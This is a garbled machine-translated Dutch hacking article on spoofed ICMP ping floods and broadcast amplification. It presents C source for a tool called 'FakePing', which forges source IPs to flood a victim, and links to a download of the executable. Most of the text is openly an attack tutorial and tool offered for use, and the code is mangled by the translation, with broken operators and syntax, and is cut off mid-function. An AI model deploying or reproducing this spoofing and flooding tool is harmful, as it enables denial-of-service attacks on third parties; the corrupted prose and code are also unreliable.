Onlangs, veel mensen bellen u terug om te gaan met wat Ping dode welke site, maar technisch, geen kwestie wat de denial of service aanvallen, hebben aan een voorwaarde voldoen: met de minste middelen in ruil voor de grootste consumptie van de aanvaller. We willen gaan met Ping is niet alleen vreemd: met de grootste bron voor elkaar de minste schade; is belachelijk: mensen die de oorlog 50 jaar geleden, waarschijnlijk behoren tot handelen, en in de leeftijd van Internet, niet hoeveel mensen zullen kunnen.
Vandaag zijn we voor de Ping's, Ping is door het versturen van ICMP bericht (type 8 code 0) bij het bestaan van netwerk-hosts een instrument, een lange tijd geleden heeft een deel van het besturingssysteem (bijv. Win95), verken niet goed worden behandeld met grote Ping-pakketten , resulterend in een Ping tot de dood van aanvallen (Ping zak met een grote ruïne elkaar of gevuld netwerk), met upgrades van het besturingssysteem, netwerk bandbreedte-upgrades, computer hardware-upgrades, op dit moment vrijwel geen grote Ping-pakketten zijn grote aanval effect (behalve voor gedistribueerde aanval), als we moeten gebruik maken van de Ping-pakketten naar andere hosts te vallen, tenzij het gebruik van TCP / IP-protocol of andere kenmerken van de netwerktopologie van de meest versterkt de intensiteit van de aanvallen (zogenaamde positieve feedback)
Onder normale omstandigheden, Ping Dit gaat als volgt:
Host A stuurt pakketjes naar de ontvangende ICMP 8,0 B
Host B stuurt berichten naar de ontvangende ICMP 0,0 A
Omdat ICMP was geen link op, dus geef ons een kans, ervan uitgaande dat de host is nu die zich voordeed als de host A stuurt ICMP 8,0 C-pakketten, de resultaten wat er zou gebeuren? Het is duidelijk dat de ontvangende host B C stuurt dat verslag is papier weg
Reactie op C gastheer, de volgende structuur:
C fout zich voordoet als de ontvangende reactie
Host A --------------------- Host B ------------------ Host C
Dit geval, als de host A hoeft alleen maar blijven sturen Ping pakketten zonder de noodzaak om te gaan met de terugkeer van EchoReply, zodat de inspanningen moeten vermenigvuldigd de aanval, terwijl in feite de host B en host C zijn om de doelstellingen van de aanval, en zal niet blijven onder haar eigen merk, is een verkapte aanval twee vliegen in een klap aanpak.
Methoden SOCK_RAW bovenstaande IP kan gemakkelijk camouflage, maar zelfs twee keer vergroot, voor de meer robuuste besturingssysteem en hoe groter de bandbreedte, noch hebben veel effect, doen we weer de georganiseerde sport? Niet rechts, Laat de vijand aan ons om Nou, TCP / IP te vergroten in een concept genaamd de uitzending, het betekende zogenaamde omroep dat er sprake is van een adres, alle gastheren binnen het netwerk worden verzonden naar dit adres om het bericht (hetzelfde als radio-uitzendingen te ontvangen) als? doen? Ja! Als we broadcast adres van een ICMP ECHO-pakket te sturen (dat is ongeveer Ping broadcast-adres), zal het resultaat een stuk van de reacties, die elk om de ontvangst van de Ethernet-broadcast-pakketten om te reageren op de gaststad een ICMP_ECHOREPLY, als je wilt om de machine te testen in unix Ping netwerk broadcast adres wat je zult een heleboel DUP packet reactie te zien is om te herhalen de reactie, Windows-systeem, niet het soort van de resultaten, omdat de Microsoft Ping-programma reageert niet op meerdere uitgepakt, de eerste pakket ontvangen na het laten vallen van achteren, en ook Microsoft's systeem niet reageert op het adres van de standaard pakket uitgezonden, zodat je beter in een veel UNIX-host LAN-test.
Hier, slimme Weet je wat ik nu wil doen? Hey hey, ja, wanneer we doen alsof we naar een broadcast adres van de host aanval stuurt Ping-aanvraag de tijd, zullen alle broadcast-adres van de host te reageren op de Ping-aanvraag Dit is gelijk aan de intensiteit van de aanvallen is N keer! (N = broadcast-adres om te reageren op Ping-pakketten binnen het aantal hosts)
Voordeden als de ontvangende C zijn alle verkeerde radiopresentator reactie
Host A --------------------- broadcast adres ======================= == Host C
Ik schreef een FakePing tool kunt u: http / / www.patching.net / shotgun / FakePing.exe downloaden.
Gebruik is FakePing.exe FakeIP TargetIP [Packetgrootte], indien TargetIP is het broadcast-adres, dan FakeIP was gericht.
Bron als volgt aangekondigd:
typedef struct _iphdr / / definitie van IP-header
(
unsigned char h_verlen; / / 4 位 eerste minister graden, IP versie 4
unsigned char tos; / / 8 type diensten zal TOS
unsigned short total_len; / / 16 mediane totale lengte (bytes)
unsigned short ident; / / 16-bits identificatie
unsigned short frag_and_flags; / / 3 vlagbits
unsigned char TTL; / / 8 mediane overleving van TTL
unsigned char proto; / / 8-bits-protocol (TCP, UDP of andere)
unsigned short checksum; / / 16 位 IP-header checksum
unsigned int sourceIP; / / 32 digitale bron IP-adres
unsigned int destIP; / / 32 位 doel van IP-adres
) IP_HEADER;
/ / Definieer ICMP header
typedef struct _ihdr
(
BYTE i_type; / / 8-bits type
BYTE i_code; / / 8-bit-code
USHORT i_cksum; / / 16 bit checksum
USHORT i_id; / / identificatienummer (over het algemeen met het proces nummer van het ID-nummer)
USHORT i_seq; / / Bericht volgnummer
ULONG timestamp; / / tijd-stempel
) ICMP_HEADER;
/ / Checksum: het berekenen van checksum Functies
USHORT controlesom (USHORT * buffer, int size)
(
unsigned long cksum = 0;
while (grootte 1)
(
cksum =* + + + buffer;
-= grootte sizeof (USHORT);
)
if (grootte)
(
cksum + = * (* UCHAR) buffer;
)
cksum = (cksum 16) + (cksum & 0xffff);
cksum + = (cksum 16);
rendement (USHORT) (~ cksum);
)
/ / FakePing belangrijkste functie
int main (int argc, char ** argv)
(
int datasize, Errorcode, teller, vlag;
int TimeOut = 2000, SendSEQ = 0, pakketgrootte = 32;
char SendBuf [65535] = (0);
WSADATA wsaData;
SOCKET SockRaw = (socket) NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
ICMP_HEADER icmp_header;
char FakeSourceIp [20], DestIp [20];
/ / Accepteer de command line parameters
if (argc 3)
(
printf ("FakePing door Shotgun
");
printf ("Dit programma kan Ping-Overstroming doen vanuit een FakeIP
");
printf ("Het gebruik van een Broadcast IP als FakeIP zal het effect te vergroten
");
printf ("E-mail:
");
printf ("Shotgun@Xici.Net
");
printf ("HomePage:
");
printf ("http://It.Xici.Net
");
printf ("http://www.Patching.Net
");
printf ("Gebruik:
FakePing.exe FakeSourceIp DestinationIp [Packetgrootte]
");
printf ("Voorbeeld:
");
printf ("FakePing.exe 192.168.15.23 192.168.15.255
");
printf ("FakePing.exe 192.168.15.23 192.168.15.200 6400
");
exit (0);
)
strcpy (FakeSourceIp, argv [1]);
strcpy (DestIp, argv [2]);
if (argc 3) pakketgrootte = atoi (argv [3]);
if (Packetgrootte 60000)
(
printf ("Fout! Pakje maat te groot zijn, moet 60K
");
exit (0);
)
printf ("Nu Fake% s% s met Ping Packet size =% d bytes
"
FakeSourceIp, DestIp, pakketgrootte);
printf ("Ctrl + C om Quit
");
/ / Initialiseren SOCK_RAW
if ((Foutcode = WSAStartup (MAKEWORD (2,1), & wsaData))! = 0)
(
fprintf (stderr, "WSAStartup mislukt:% d
"Errorcode);
ExitProcess (STATUS_FAILED);
)
if ((= SockRaw WSASocket (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
(
fprintf (stderr, "WSASocket () mislukte:% d
"WSAGetLastError ());
ExitProcess (STATUS_FAILED);
)
flag = TRUE;
/ / Stel IP_HDRINCL vullen hun eigen IP-header
Foutcode = setsockopt (SockRaw, IPPROTO_IP, IP_HDRINCL, (char *) & vlag, sizeof (int));
if (Errorcode == SOCKET_ERROR)
printf ("Set IP_HDRINCL Error!
");
__try
(
/ / Set time-out te sturen
Foutcode = setsockopt (SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) & TimeOut, sizeof (time-out));
if (Errorcode == SOCKET_ERROR)
(
fprintf (stderr, "Mislukt om TimeOut verzenden:% d
"WSAGetLastError ());
__leave;
)
memset (& DestAddr, 0, sizeof (DestAddr));
DestAddr.sin_family = AF_INET;
DestAddr.sin_addr.s_addr = inet_addr (DestIp);
/ / Vul IP-header
ip_header.h_verlen = (4 4 | sizeof (ip_header) / sizeof (unsigned long)); / / hoog 4 IP versie nummer, de eerste minister van de geringe mate van vier
ip_header.total_len = htons (sizeof (IP_HEADER) + sizeof (ICMP_HEADER)); / / 16 mediane totale lengte (bytes)
ip_header.ident = 1;
/ / 16 ID
ip_header.frag_and_flags = 0;
/ / Drie vlag
ip_header.ttl = 128;
/ / 8-bit TTL overlevingstijd
ip_header.proto = IPPROTO_ICMP;